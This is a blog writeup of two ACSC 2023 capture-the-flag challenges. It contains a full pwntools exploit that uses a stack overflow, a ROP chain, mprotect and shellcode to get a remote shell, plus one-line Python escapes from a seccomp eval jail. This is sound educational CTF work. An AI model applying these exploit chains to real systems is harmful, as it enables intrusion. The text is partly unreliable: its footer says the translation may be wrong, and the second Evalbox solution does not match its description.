Skip to main content

PWN【ACSC 2023】Writeup WP Reproduction

· 3 min read
Muel - Nova
Anime Would PWN This WORLD into 2D

This is an individual competition, but I have already forgotten things related to Web or Rev, let alone Crypto. Meanwhile, we cannot solve the hard challenges, so uh-hum, let's just say I'm not participating for the sake of the ranks LOL

Vaccine

The program uses scanf to receive our input, therefore we have no length limit, and we can just modify s to be the same as s2.

image-20230227192106762

Then, we'll be able to leak the libc_address and ret2libc by simply doing a stack overflow and changing the return address.

At first, I used a wrong libc version and there were no one_gadgets available, so I used the mprotect and shellcode to get the shell, which made things more complicated.

exp:

from pwn import *

context(log_level='DEBUG', arch='amd64', os='linux')
context.terminal = "wt.exe nt bash -c".split()

sh = process(['./vaccine'])
sh = remote('vaccine-2.chal.ctf.acsc.asia', 1337)
elf = ELF('./vaccine')
# libc = ELF('./libc6-i386_2.31-9_amd64.so') # wrong libc lol
libc = ELF('/home/nova/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6')

pop_rdi_ret = 0x401443
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

# gdb.attach(sh, 'b *0x00000000004013D7')
# pause()
payload = b'AAAA' + b'\x00'*108 + b'AAAA\x00'
payload = payload.ljust(0x108, b'\x00')
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(0x401236)
sh.sendlineafter(b'Give me vaccine: ', payload)
sh.recvuntil(b'castle\n')

libc_base = u64(sh.recv(6).ljust(8, b'\x00')) - 0x84420
mprotect = libc_base + libc.sym['mprotect']
read = libc_base + libc.sym['read']
pop_rsi_ret = libc_base + 0x02601f
pop_rdx_r12_ret = libc_base + 0x119211

print(hex(libc_base))
payload = b'AAAA' + b'\x00'*108 + b'AAAA\x00'
payload = payload.ljust(0x108, b'\x00')
payload += p64(pop_rdi_ret) + p64(elf.bss() & (~0xfff)) + p64(pop_rsi_ret) + p64(0x1000) + p64(pop_rdx_r12_ret) + p64(7)*2 + p64(mprotect)
payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(elf.bss() + 0x50) + p64(pop_rdx_r12_ret) + p64(0x1000)*2 + p64(read) + p64(elf.bss() + 0x50) + p64(0x401236)
sh.sendlineafter(b'Give me vaccine: ', payload)

sh.sendline(asm(shellcraft.sh()))

sh.interactive()

Evalbox

This is a really interesting challenge.

#!/usr/bin/env python3
import seccomp

if __name__ == '__main__':
f = seccomp.SyscallFilter(defaction=seccomp.ALLOW)
f.add_rule(seccomp.KILL, 'close')
f.load()
eval(input("code: "))

It will eval anything we input, but it also prohibits all function calls for close.

In Dockerfile, we know that we should first get the filename of the flag.

At first, I thought there might be some differences between seccomp.so and seccomp.pyx. So I tried to compile this .pyx file and attempted to use bindiff between these two files, but I failed :(

But there are actually many ways to bypass this jail.

Solution 1

This is an exp in a pure Python way.

We can use os.scandir(os.open(".", 0)) to get all files in the . directory, and we can use print(os.open(filename, 'r').read()) to get the content of the file.

Let's just shorten it to one line.

print(os:=__import__('os'), d:=os.scandir(os.open(".", 0)), f:=open(next(filter(lambda x: x.name.startswith("flag"), d))), f.read(), sep='\n\n')

Solution 2

We can open /proc/self/mem and write shellcode on the .text segment.

print(os:=__import__('os'), f:=open('flag-31540753807ba7099ea27997ca43e280.txt', 'r'), f.read())
info

This Content is generated by ChatGPT and might be wrong / incomplete, refer to Chinese version if you find something wrong.

Loading Comments...